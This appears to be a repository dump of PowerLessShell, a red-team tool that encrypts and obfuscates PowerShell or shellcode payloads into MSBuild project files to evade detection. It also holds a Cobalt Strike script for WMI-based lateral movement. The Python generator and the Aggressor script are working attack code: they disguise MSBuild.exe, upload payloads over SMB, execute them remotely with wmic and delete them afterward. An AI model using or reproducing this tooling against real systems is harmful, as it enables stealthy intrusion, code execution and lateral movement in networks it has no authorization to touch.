├── LICENSE.md ├── PowerLessShell.py ├── README.md ├── include ├── template-powershell.csproj ├── template-shellcode.csproj └── template-shellcode_inject.csproj └── wmi_msbuild.cna /LICENSE.md: -------------------------------------------------------------------------------- 1 | Copyright (C) 2017 Mr.Un1k0d3r 2 | This program is free software: you can redistribute it and/or modify 3 | it under the terms of the GNU General Public License as published by 4 | the Free Software Foundation, either version 3 of the License, or 5 | (at your option) any later version. 6 | 7 | This program is distributed in the hope that it will be useful, 8 | but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | GNU General Public License for more details. 11 | 12 | You should have received a copy of the GNU General Public License 13 | along with this program. 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Limitation of Liability. 617 | 618 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 619 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 620 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 621 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 622 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 623 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 624 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 625 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 626 | SUCH DAMAGES. 627 | 628 | 17. Interpretation of Sections 15 and 16. 629 | 630 | If the disclaimer of warranty and limitation of liability provided 631 | above cannot be given local legal effect according to their terms, 632 | reviewing courts shall apply local law that most closely approximates 633 | an absolute waiver of all civil liability in connection with the 634 | Program, unless a warranty or assumption of liability accompanies a 635 | copy of the Program in return for a fee. 636 | 637 | END OF TERMS AND CONDITIONS 638 | -------------------------------------------------------------------------------- /PowerLessShell.py: -------------------------------------------------------------------------------- 1 | # Author: Mr.Un1k0d3r - RingZer0 Team 2017 2 | # Code clean up 2021 <3 3 | 4 | import argparse 5 | import random 6 | import string 7 | import base64 8 | import sys 9 | import re 10 | import os 11 | 12 | TEMPLATE = "include/template-" 13 | 14 | class Generator: 15 | 16 | def __init__(self): 17 | self.error = 0 18 | self.banner() 19 | 20 | def print_error(self, error): 21 | print "\033[91m[-] >>> %s\033[00m" % error 22 | 23 | def banner(self): 24 | print "PowerLessShell Less is More\r\nMr.Un1k0d3r RingZer0 Team\r\n-----------------------------------------------------------" 25 | 26 | def set_template(self, path): 27 | self.data = self.load_file(path, True) 28 | self.rand_vars() 29 | 30 | def gen_str(self, size): 31 | return "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(size)) 32 | 33 | def rand_vars(self): 34 | for i in reversed(range(1, 100)): 35 | self.data = self.data.replace("VAR" + str(i), self.gen_str(random.randrange(5, 25))) 36 | 37 | def get_output(self): 38 | return self.data 39 | 40 | def gen_rc4_key(self, size): 41 | return os.urandom(size) 42 | 43 | def format_rc4_key(self, key): 44 | return "0x" + ", 0x".join(re.findall("..", key.encode("hex"))) 45 | 46 | def load_file(self, path, fatal_error = False): 47 | data = "" 48 | try: 49 | data = open(path, "rb").read() 50 | except: 51 | self.error = 1 52 | self.print_error("%s file not found." % path) 53 | if fatal_error: 54 | exit(0) 55 | return data 56 | 57 | def set_condition(self, data, value = ""): 58 | if value == "": 59 | return data.replace("[CONDITION]", "") 60 | else: 61 | return data.replace("[CONDITION]", ' Condition="\'$(USERDOMAIN)\'==\'%s\'"' % value) 62 | @staticmethod 63 | def gen_pattern(charset): 64 | return ''.join(random.sample(charset,len(charset))) 65 | 66 | def gen_junk(self): 67 | junk = ["int", "var", "float", "decimal", "uint", "double", "long"] 68 | data = "" 69 | for i in range(0, random.randrange(1, 12)): 70 | data += "\t\t\t\t%s %s = %d;\r\n" % (random.choice(junk), self.gen_str(random.randrange(5, 25)), random.randrange(1, 100000)) 71 | 72 | return data 73 | 74 | class RC4: 75 | 76 | def KSA(self, key): 77 | keylength = len(key) 78 | S = range(256) 79 | j = 0 80 | for i in range(256): 81 | j = (j + S[i] + key[i % keylength]) % 256 82 | S[i], S[j] = S[j], S[i] 83 | return S 84 | 85 | def PRGA(self, S): 86 | i = 0 87 | j = 0 88 | while True: 89 | i = (i + 1) % 256 90 | j = (j + S[i]) % 256 91 | S[i], S[j] = S[j], S[i] 92 | 93 | K = S[(S[i] + S[j]) % 256] 94 | yield K 95 | 96 | def Encrypt(self, plaintext, key): 97 | output = "" 98 | key = [ord(c) for c in key] 99 | S = self.KSA(key) 100 | keystream = self.PRGA(S) 101 | for c in plaintext: 102 | output = output + chr(ord(c) ^ keystream.next()) 103 | return output 104 | 105 | if __name__ == "__main__": 106 | gen = Generator() 107 | parser = argparse.ArgumentParser() 108 | 109 | parser.add_argument('-type', action='store', default="shellcode", help='Payload type (shellcode/shellcode_inject/powershell) default to: shellcode') 110 | parser.add_argument('-source', action='store', help='Path to the source file (raw shellcode or powershell script)', required=True) 111 | parser.add_argument('-output', action='store', help='MSBuild output filename', required=True) 112 | parser.add_argument('-arch', action='store', default='32', help='Shellcode architecture (32/64) default to: 32') 113 | parser.add_argument('-processpath', action='store', default='c:\\\windows\\\system32\\\svchost.exe', help='Process filename path for shellcode inject default is: c:\\\windows\\\system32\\\svchost.exe (note for double \\\. use process matching the shellcode architecture!)') 114 | parser.add_argument('-condition', action='store', default="", help='XML Compiling condition default (Check for USERDOMAIN) default is: none') 115 | options = parser.parse_args() 116 | 117 | template_path = TEMPLATE 118 | shellcode_arch = "" 119 | data = "" 120 | shellcode_inject_path = options.processpath 121 | 122 | if options.type == "powershell": 123 | template_path += "powershell.csproj" 124 | elif options.type == "shellcode": 125 | template_path += "shellcode.csproj" 126 | else: 127 | template_path += "shellcode_inject.csproj" 128 | 129 | print "Generating the msbuild file using %s as the template" % template_path 130 | 131 | if options.arch == "64": 132 | shellcode_arch = "64" 133 | print "Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe" 134 | 135 | if options.arch != "64" and options.type == "shellcode_inject": 136 | print "Shellcode Injection Template is in use with 32 bits architecure! Don't forget to use 32 bits process to inject" 137 | 138 | gen.set_template(template_path) 139 | rc4 = RC4() 140 | key = gen.gen_rc4_key(32) 141 | 142 | data = gen.load_file(options.source, True) 143 | cipher = base64.b64encode(rc4.Encrypt(data, key)) 144 | 145 | pattern1 = Generator.gen_pattern("#!@$%?&-~") 146 | pattern2 = Generator.gen_pattern(",.<>)(*[]{}`") 147 | cipher = cipher.replace("m", pattern1).replace("V", pattern2) 148 | 149 | output = gen.get_output() 150 | output = output.replace("[KEY]", gen.format_rc4_key(key)).replace("[PAYLOAD]", cipher) 151 | output = output.replace("[PATTERN_1]", pattern1).replace("[PATTERN_2]", pattern2) 152 | output = output.replace("[JUNK1]", gen.gen_junk()).replace("[JUNK2]", gen.gen_junk()).replace("[JUNK3]", gen.gen_junk()) 153 | condition = options.condition 154 | output = gen.set_condition(output, condition) 155 | output = output.replace("[ARCH]", shellcode_arch) 156 | output = output.replace("[PROCESSPATH]", shellcode_inject_path); 157 | 158 | try: 159 | open(options.output, "wb").write(output) 160 | except: 161 | gen.print_error("Failed to write the output to '%s'" % options.output) 162 | exit(0) 163 | 164 | print "File '%s' created" % options.output 165 | print "Process completed" 166 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerLessShell 2 | 3 | PowerLessShell rely on MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe. 4 | You can also execute raw shellcode using the same approach. 5 | 6 | # MSBuild conditions 7 | 8 | MSBuild support condition that can be used to avoid running code if the condition is not met. 9 | 10 | ``` 11 | 12 | ``` 13 | 14 | The malicious code will only be executed if the current user domain is "RingZer0" 15 | 16 | Condition supports several other formats that can be used to create more conditional execution check. 17 | 18 | ``` 19 | 20 | ``` 21 | 22 | Property Functions also expose interesting data. 23 | 24 | ``` 25 | https://docs.microsoft.com/en-us/visualstudio/msbuild/property-functions 26 | ``` 27 | 28 | # Usage 29 | 30 | PowerLessShell use commandline argument to generate the final file. 31 | 32 | ``` 33 | $ python PowerLessShell.py -h 34 | PowerLessShell Less is More 35 | Mr.Un1k0d3r RingZer0 Team 36 | ----------------------------------------------------------- 37 | usage: PowerLessShell.py [-h] [-type TYPE] -source SOURCE -output OUTPUT 38 | [-arch ARCH] [-condition CONDITION] 39 | 40 | optional arguments: 41 | -h, --help show this help message and exit 42 | -type TYPE Payload type (shellcode/powershell) default to: 43 | shellcode 44 | -source SOURCE Path to the source file (raw shellcode or powershell 45 | script) 46 | -output OUTPUT MSBuild output filename 47 | -arch ARCH Shellcode architecture (32/64) default to: 32 48 | -condition CONDITION XML Compiling condition default (Check for USERDOMAIN) 49 | default is: none 50 | ``` 51 | 52 | Generating a powershell payload 53 | ``` 54 | $ python PowerLessShell.py -type powershell -source script.ps1 -output malicious.csproj 55 | PowerLessShell Less is More 56 | Mr.Un1k0d3r RingZer0 Team 57 | ----------------------------------------------------------- 58 | Generating the msbuild file using include/template-powershell.csproj as the template 59 | File 'malicious.csproj' created 60 | Process completed 61 | ``` 62 | 63 | Generating a shellcode payload 64 | ``` 65 | $ python PowerLessShell.py -source shellcode.raw -output malicious.csproj 66 | PowerLessShell Less is More 67 | Mr.Un1k0d3r RingZer0 Team 68 | ----------------------------------------------------------- 69 | Generating the msbuild file using include/template-shellcode.csproj as the template 70 | File 'malicious.csproj' created 71 | Process completed 72 | ``` 73 | 74 | Generating a 64 bits shellcode payload 75 | ``` 76 | $ python PowerLessShell.py -source shellcode64.raw -output malicious.csproj -arch 64 77 | PowerLessShell Less is More 78 | Mr.Un1k0d3r RingZer0 Team 79 | ----------------------------------------------------------- 80 | Generating the msbuild file using include/template-shellcode.csproj as the template 81 | Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe 82 | File 'malicious.csproj' created 83 | Process completed 84 | ``` 85 | 86 | # Cobalt Strike Aggressor script (wmi_msbuild.cna) 87 | By Alyssa (ramen0x3f) and MrT-F 88 | ### Set Up 89 | * Either copy PowerLessShell folder to [cobalts working dir]/PowerLessShell or make note of path 90 | * If you didn't copy it to the Cobalt directory: edit the $pls_path variable in this file to point to PowerLessShell 91 | * Load script into Cobalt Strike 92 | 93 | ### Usage 94 | ``` 95 | check_msbuild -target TARGET Verify .NET 4.0.30319 is installed (should see "Status OK") 96 | [-user user] [-pass pass] Windows 7 has .NET 4.0.30319 after 3 reboots and 4 Windows update cycles 97 | 98 | rename_msbuild -target TARGET Copy MSBuild.exe. 99 | -msbuild newname 100 | [-path C:\new\path] Default - C:\Users\Public\ 101 | [-user domain\username] Specifying user/pass spawns cmd on remote host. 102 | [-pass password] 103 | 104 | wmi_msbuild -target TARGET Spawn new beacon. 105 | -listener LISTENER 106 | [-payload new_file] Default - [a-zA-Z].tmp 107 | [-directory new_dir] Default - C:\Users\Public\ 108 | [-msbuild alt_msbuild_location] 109 | [-user USERNAME] [-pass PASSWORD] 110 | [-manualdelete] Switch doesn't auto delete payload. 111 | ``` 112 | ### OpSec Notes 113 | Spawns cmd.exe on the target system if 114 | * ManualDelete switch is not set 115 | * rename_msbuild is run with a username/password specified 116 | 117 | # Credit 118 | Mr.Un1k0d3r RingZer0 Team 2017 119 | 120 | -------------------------------------------------------------------------------- /include/template-powershell.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 22 | 23 | 24 | 25 | VAR13 = VAR12.Invoke(); 54 | VAR4.Close(); 55 | 56 | StringBuilder VAR14 = new StringBuilder(); 57 | foreach(PSObject VAR15 in VAR13) { 58 | VAR14.AppendLine(VAR15.ToString()); 59 | } 60 | Console.Write(VAR14.ToString()); 61 | return true; 62 | } 63 | } 64 | 65 | public class VAR60 { 66 | public static string VAR61(string VAR62) { 67 | string VAR63 = "[PATTERN_1]"; 68 | string VAR64 = "[PATTERN_2]"; 69 | return VAR62.Replace(VAR63, "m").Replace(VAR64, "V"); 70 | } 71 | } 72 | 73 | public class VAR16 { 74 | public static byte[] VAR17(byte[] VAR18, byte[] VAR19) { 75 | int VAR20, VAR21, VAR22, VAR23, VAR24; 76 | int[] VAR25, VAR26; 77 | byte[] VAR27; 78 | 79 | VAR25 = new int[256]; 80 | VAR26 = new int[256]; 81 | VAR27 = new byte[VAR19.Length]; 82 | 83 | for (VAR21 = 0; VAR21 < 256; VAR21++) { 84 | VAR25[VAR21] = VAR18[VAR21 % VAR18.Length]; 85 | VAR26[VAR21] = VAR21; 86 | } 87 | for (VAR22 = VAR21 = 0; VAR21 < 256; VAR21++) { 88 | VAR22 = (VAR22 + VAR26[VAR21] + VAR25[VAR21]) % 256; 89 | VAR24 = VAR26[VAR21]; 90 | VAR26[VAR21] = VAR26[VAR22]; 91 | VAR26[VAR22] = VAR24; 92 | } 93 | for (VAR20 = VAR22 = VAR21 = 0; VAR21 < VAR19.Length; VAR21++) { 94 | VAR20++; 95 | VAR20 %= 256; 96 | VAR22 += VAR26[VAR20]; 97 | VAR22 %= 256; 98 | VAR24 = VAR26[VAR20]; 99 | VAR26[VAR20] = VAR26[VAR22]; 100 | VAR26[VAR22] = VAR24; 101 | VAR23 = VAR26[((VAR26[VAR20] + VAR26[VAR22]) % 256)]; 102 | VAR27[VAR21] = (byte)(VAR19[VAR21] ^ VAR23); 103 | } 104 | return VAR27; 105 | } 106 | 107 | public static byte[] VAR28(byte[] VAR29, byte[] VAR30) { 108 | return VAR17(VAR29, VAR30); 109 | } 110 | } 111 | ]]> 112 | 113 | 114 | 115 | 116 | -------------------------------------------------------------------------------- /include/template-shellcode.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 22 | 23 | 24 | 130 | 131 | 132 | 133 | 134 | -------------------------------------------------------------------------------- /include/template-shellcode_inject.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 22 | 23 | 24 | 160 | 161 | 162 | 163 | 164 | -------------------------------------------------------------------------------- /wmi_msbuild.cna: -------------------------------------------------------------------------------- 1 | ###################################### 2 | ## PowerLessShell via Cobalt Strike ## 3 | ###################################### 4 | ## Author: Alyssa (ramen0x3f) 5 | ## OG Author: MrT__F 6 | ## Last Updated: 2018-02-13 7 | ## PowerLessShell: Mr-Un1k0d3r (https://github.com/Mr-Un1k0d3r/PowerLessShell) 8 | 9 | #### Set Up #### 10 | # i. Either copy PowerLessShell folder to [cobalts working dir]/PowerLessShell or make note of path 11 | # ii. If you didn't copy it to the Cobalt directory: edit the $pls_path variable in this file to point to PowerLessShell 12 | # iii. Load script into Cobalt Strike 13 | 14 | #### Usage #### 15 | #check_msbuild -target TARGET Verify .NET 4.0.30319 is installed 16 | # [-user user] [-pass pass] (should see "Status OK") 17 | # Windows 7 has .NET 4.0.30319 after 3 reboots and 4 Windows update cycles 18 | 19 | #rename_msbuild -target TARGET Copy MSBuild.exe. 20 | # -msbuild newname 21 | # [-path C:\new\path] Default - C:\Users\Public\ 22 | # [-user domain\username] Specifying user/pass spawns cmd 23 | # [-pass password] on remote host. 24 | 25 | #wmi_msbuild -target TARGET Spawn new beacon. 26 | # -listener LISTENER 27 | # [-payload new_file] Default - [a-zA-Z].tmp 28 | # [-directory new_dir] Default - C:\Users\Public\ 29 | # [-msbuild alt_msbuild_location] 30 | # [-user USERNAME] [-pass PASSWORD] 31 | # [-manualdelete] Switch doesn't auto delete payload. 32 | 33 | #### OpSec Notes #### 34 | # Spawns cmd.exe on the target system if 35 | # - ManualDelete switch is not set 36 | # - rename_msbuild is run with a username/password specified 37 | 38 | #### Register aliases #### 39 | beacon_command_register("check_msbuild", 40 | "Look for .NET v4.0.30319 on target", 41 | "Synopsis: check_msbuild -target TARGET [-user user] [-pass pass]", 42 | "This checks a remote system for .NET v4.0.30319 and responds with a 'Status OK' if MSBuild.exe is there. User/pass to authenticate with remotely are optional. NOTE: Uses cmd.exe. User must be local admin on target."); 43 | 44 | beacon_command_register("rename_msbuild", 45 | "Create innocent looking copy of MSBuild.exe", 46 | "Synopsis: rename_msbuild -target TARGET -msbuild [newname] [-path C:\\new\\path] [-user username] [-pass password]", 47 | "This copies MSBuild.exe to C:\\Users\\Public by default."); 48 | 49 | beacon_command_register("wmi_msbuild", 50 | "wmi lateral movement without powershell", 51 | "Synopsis: wmi_msbuild -target TARGET -listener LISTENER [-payload new_filename] [-directory new_dir] [-msbuild alt_msbuild_location] [-user USERNAME] [-pass PASSWORD] [-manualdelete]", 52 | "This uses Mr-Un1k0d3r's PowerLessShell (https://github.com/Mr-Un1k0d3r/PowerLessShell) to execute beacon's powershell payload on a remote system. You will need to copy the PowerLessShell repo to folder PowerLessShell in your cobaltstrike client directory (or edit the $pls_path variable here). Also, the PowerLessShell.py script assumes .NET framework 4.0.30319, so that must exist on the remote system. If it doesn't, do 3 reboots and 4 Windows update cycles. No srsly."); 53 | 54 | global('$working_dir'); 55 | $working_dir = "C$\\Users\\Public\\"; 56 | 57 | ######### 58 | # UTILS # 59 | ######### 60 | sub parse_args { 61 | # Description # 62 | ############### 63 | ## Add arguments and switches to your function 64 | ## instead of everything being positional and sketchy. 65 | # Arguments # 66 | ############### 67 | ## 1 Array of arguments from your initial function 68 | 69 | local('%args $get_val @to_check $bid'); 70 | 71 | if ( @_[0][0] in beacon_ids() ) { 72 | $bid = @_[0][0]; 73 | @to_check = sublist(@_[0], 1); #Excludes the $bid 74 | } 75 | else { 76 | @to_check = @_[0]; 77 | } 78 | 79 | foreach $a (@to_check) { 80 | if( (charAt($a,0) cmp "-") == 0 ) { #Create keys for args 81 | $get_val = substr($a, 1); 82 | %args[$get_val] = true; #Treat like a switch by default 83 | } 84 | else if( $get_val ) { #Save value of key 85 | %args[$get_val] = $a; 86 | $get_val = $null; 87 | } 88 | else if ( $bid ) { #Print to beacon if command was run from beacon 89 | berror($1, "Something went wrong processing: " . $a); 90 | } 91 | else { #Print to script console if command was run from script console 92 | println("Something went wrong processing: " . $a); 93 | } 94 | } 95 | 96 | return %args; 97 | } 98 | 99 | sub gen_cs { 100 | local('$handle'); 101 | $handle = exec("python PowerLessShell.py payload.ps1 payload.cs powershell", $null, cwd()); 102 | if (checkError($error)) { 103 | warn($error); 104 | } 105 | #wait for generation to finish 106 | wait($handle); 107 | closef($handle); 108 | } 109 | 110 | sub gen_payload { 111 | local('$ps1 $pls_path $handle'); 112 | $ps1 = artifact($1, "powershell", true, "x86"); 113 | #Change this to the path of PowerLessShell (relative to cobaltstrike dir, or just absolute) 114 | $pls_path = "PowerLessShell"; 115 | chdir($pls_path); 116 | if (checkError($error)) { 117 | warn($error); 118 | } 119 | $handle = openf(">payload.ps1"); 120 | writeb($handle, $ps1); 121 | if (checkError($error)) { 122 | warn($error); 123 | } 124 | closef($handle); 125 | } 126 | 127 | sub gen_random_name { 128 | #returns random filename .TMP 129 | local('@alphabet $len $i $filename'); 130 | @alphabet = @("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"); 131 | 132 | #Random filename length between 5 and 16 133 | $len = rand(11) + 5; 134 | for($i = 0; $i < $len; $i++){ 135 | $filename .= rand(@alphabet); 136 | } 137 | $filename .= ".TMP"; 138 | return $filename; 139 | } 140 | 141 | sub hide { 142 | # Arguments # 143 | ############# 144 | ## 2 target 145 | ## 3 name to copy MSBuild.exe to 146 | ## 4 new working directory 147 | ## 5 opt: user 148 | ## 6 opt: pass 149 | 150 | if ( $5 && $6 ) { 151 | bshell($1, "wmic /node:" . $2 . " /user:'" . $5 . "' /password:'" . $6 . "' process call create \"cmd /c copy /y C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe " . strrep($4, "$", ":") . $3 . "\""); 152 | } 153 | else { 154 | bcp($1, '\\\\' . $2 . '\\C$\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe', '\'\\\\' . $2 . '\\' . strrep($4, ":", "$") . $3 .'\''); 155 | } 156 | 157 | 158 | blog($1, "Copied MSBuild.exe to " . $4 . $3); 159 | } 160 | 161 | sub msbuild { 162 | # Arguments # 163 | ############# 164 | ## target - required 165 | ## listener - required 166 | ## user - optional 167 | ## pass - optional 168 | ## msbuild - optional, location of alternate msbuild 169 | ## payload - optional, new filename for payload 170 | ## manualdelete - optional, switch, doesn't use cmd/auto delete payload 171 | 172 | local('$cwd $owd $msbuild $ps1 $handle $payload $command_line $pay_dir $run_as %args'); 173 | %args = $2; 174 | 175 | #Save working dir to restore later 176 | $owd = cwd(); 177 | $cwd = $working_dir; 178 | 179 | ############# 180 | # User/Pass # 181 | ############# 182 | if ( 'user' in %args && 'pass' in %args ) { 183 | blog($1, "Specifiying user: " . %args['user'] . " w/ pass: " . %args['pass']); 184 | $runas = ' /user:"' . %args['user'] . '" /password:"' . %args['pass'] . '" '; 185 | } 186 | else { 187 | $runas = ""; 188 | } 189 | 190 | ############ 191 | # Listener # 192 | ############ 193 | #Ensure listener exists 194 | if (%args['listener'] !in listeners_local()) { 195 | berror($1, "Listener " . %args['listener'] . " does not exist"); 196 | return; 197 | } 198 | 199 | ############### 200 | # MSBuild.exe # 201 | ############### 202 | if ( 'msbuild' in %args ) { 203 | $msbuild = %args['msbuild']; 204 | } 205 | else { 206 | $msbuild = 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe'; 207 | } 208 | 209 | blog($1, "Using MSBuild.exe in: " . $msbuild); 210 | btask($1, "Tasked Beacon to spawn to " . %args['target'] . "(" . listener_describe(%args['listener'], %args['target']) . ") via PowerLessShell"); 211 | 212 | ########### 213 | # Payload # 214 | ########### 215 | #Write payload to disk 216 | #i re-do this every time in case the listener changes. Probably could be more efficient 217 | gen_payload(%args['listener']); 218 | 219 | #Use PowerLessShell.py to generate .CS files 220 | gen_cs(); 221 | 222 | #payload.cs.cmd has some nice obfuscation, but we are just going to upload cs file via smb and execute it for now. There are length issues... 223 | $handle = openf("payload.cs"); 224 | if (checkError($error)) { 225 | warn($error); 226 | } 227 | 228 | $payload = readb($handle, -1); 229 | if (checkError($error)) { 230 | warn($error); 231 | } 232 | closef($handle); 233 | 234 | #generate random payload name if not specified 235 | if ( 'payload' in %args ) { 236 | $filename = %args['payload']; 237 | } 238 | else { 239 | $filename = gen_random_name(); 240 | } 241 | 242 | #use new directory if specified 243 | if ( 'directory' in %args ) { 244 | $pay_dir = %args['directory']; 245 | if ( (charAt($pay_dir, -1) cmp "\\") != 0) { 246 | $pay_dir = $pay_dir . "\\"; 247 | } 248 | } 249 | else { 250 | $pay_dir = $working_dir; 251 | } 252 | 253 | #upload 254 | $unc = '\\\\'. %args['target'] . '\\' . strrep($pay_dir, ":", "$"); 255 | 256 | if("user" in %args && "pass" in %args) { 257 | bshell($1, 'net use \\\\'. %args['target'] . '\\C$ /user:' . %args['user'] . ' ' . %args['pass']); 258 | sleep(5000); 259 | bupload_raw($1, $unc . $filename , $payload); 260 | sleep(2000); 261 | bshell($1, 'net use \\\\'. %args['target'] . '\\C$ /delete /y'); 262 | } 263 | else { 264 | bupload_raw($1, $unc . $filename , $payload); 265 | } 266 | 267 | ########## 268 | # Launch # 269 | ########## 270 | ## 1 - If ManualDelete, do all through WMIC (just launch) 271 | if ( "manualdelete" in filter({return lc($1);}, keys(%args)) ) { 272 | bshell($1, 'wmic /node:"' . %args['target'] . '" process call create "' . $msbuild . ' ' . strrep($pay_dir, "$", ":") . $filename . ' /noconsolelogger"'); 273 | } 274 | ## 2 - Else, do all through WMIC/CMD 275 | else { 276 | bshell($1, 'wmic /node:"' . %args['target'] . '"' . $runas . ' process call create "cmd /c ' . $msbuild . ' ' . strrep($pay_dir, "$", ":") . $filename . ' /noconsolelogger && del ' . strrep($pay_dir, "$", ":") . $filename . '"'); 277 | } 278 | 279 | ## Link SMB listener 280 | bstage($1, %args['target'], %args['listener']); 281 | 282 | ## Restore Originals 283 | chdir($owd); 284 | } 285 | 286 | ########### 287 | # ALIASES # 288 | ########### 289 | alias check_msbuild { #> Careful this uses "cmd.exe /c" 290 | # Arguments # 291 | ############# 292 | ## target - required 293 | ## user - optional 294 | ## pass - optional 295 | 296 | %args = %(); 297 | 298 | if ( len(@_) == 2 ) { 299 | %args['target'] = $2; 300 | } 301 | else { 302 | %args = parse_args(@_); 303 | if ( "target" !in %args ) { 304 | berror($1, "Missing required arguments. Please review what you provided.") 305 | berror($1, "Example: check_msbuild 192.168.0.1"); 306 | berror($1, "Example: check_msbuild -target 192.168.0.1 [-user admin] [-pass password]"); 307 | } 308 | } 309 | 310 | blog($1, "Checking for existence of MSBuild.exe v4.0.30319 on " . %args['target']); 311 | if ("user" in %args && "pass" in %args) { 312 | bshell($1, "wmic /node:" . %args['target'] . " /user:'" . %args['user'] . "' /password:'" . %args['pass'] . "' datafile where name=\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\MSBuild.exe\" get Status"); 313 | } 314 | else { 315 | bshell($1, "wmic /node:" . %args['target'] . " datafile where name=\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\MSBuild.exe\" get Status"); 316 | } 317 | } 318 | 319 | alias rename_msbuild { 320 | # Arguments # 321 | ############# 322 | ## $2 target 323 | ## $3 name to copy MSBuild.exe to 324 | ## $4 (opt) new directory 325 | 326 | %args = %(); 327 | 328 | %args = parse_args(@_); 329 | if ( "target" !in %args ) { 330 | berror($1, "Missing required arguments. Please review what you provided.") 331 | berror($1, "Example: rename_msbuild -target 192.168.0.1 -msbuild acrord32.exe [-path C:\\Users\\Public\\Downloads\\] [-user admin] [-pass password]"); 332 | } 333 | else { 334 | if ( 'path' in %args ) { 335 | hide($1, %args['target'], %args['msbuild'], %args['path'], %args['user'], %args['pass']); 336 | } 337 | else { 338 | hide($1, %args['target'], %args['msbuild'], strrep($working_dir, "$", ":"), %args['user'], %args['pass']); 339 | } 340 | } 341 | } 342 | 343 | alias wmi_msbuild { 344 | # Arguments # 345 | ############# 346 | ## target - required 347 | ## listener - required 348 | ## user - optional 349 | ## pass - optional 350 | ## msbuild - optional, location of alternate msbuild 351 | ## payload - optional, new filename for payload 352 | ## directory - optional, new location for payload (Default C:\Users\Public) 353 | ## manualdelete - optional, switch, doesn't use cmd/auto delete payload 354 | 355 | %args = parse_args(@_); 356 | 357 | #See if required arguments were given 358 | if ( "target" in %args && "listener" in %args ) { 359 | msbuild($1, %args); 360 | } 361 | else { 362 | berror($1, "Missing required arguments. Please review what you provided."); 363 | berror($1, "Example: wmi_msbuild -target 192.168.0.1 -listener Default [-user admin] [-pass password] [-payload new_filename] [-msbuild alt_msbuild] [-directory new_dir] [-manualdelete]"); 364 | } 365 | } 366 | --------------------------------------------------------------------------------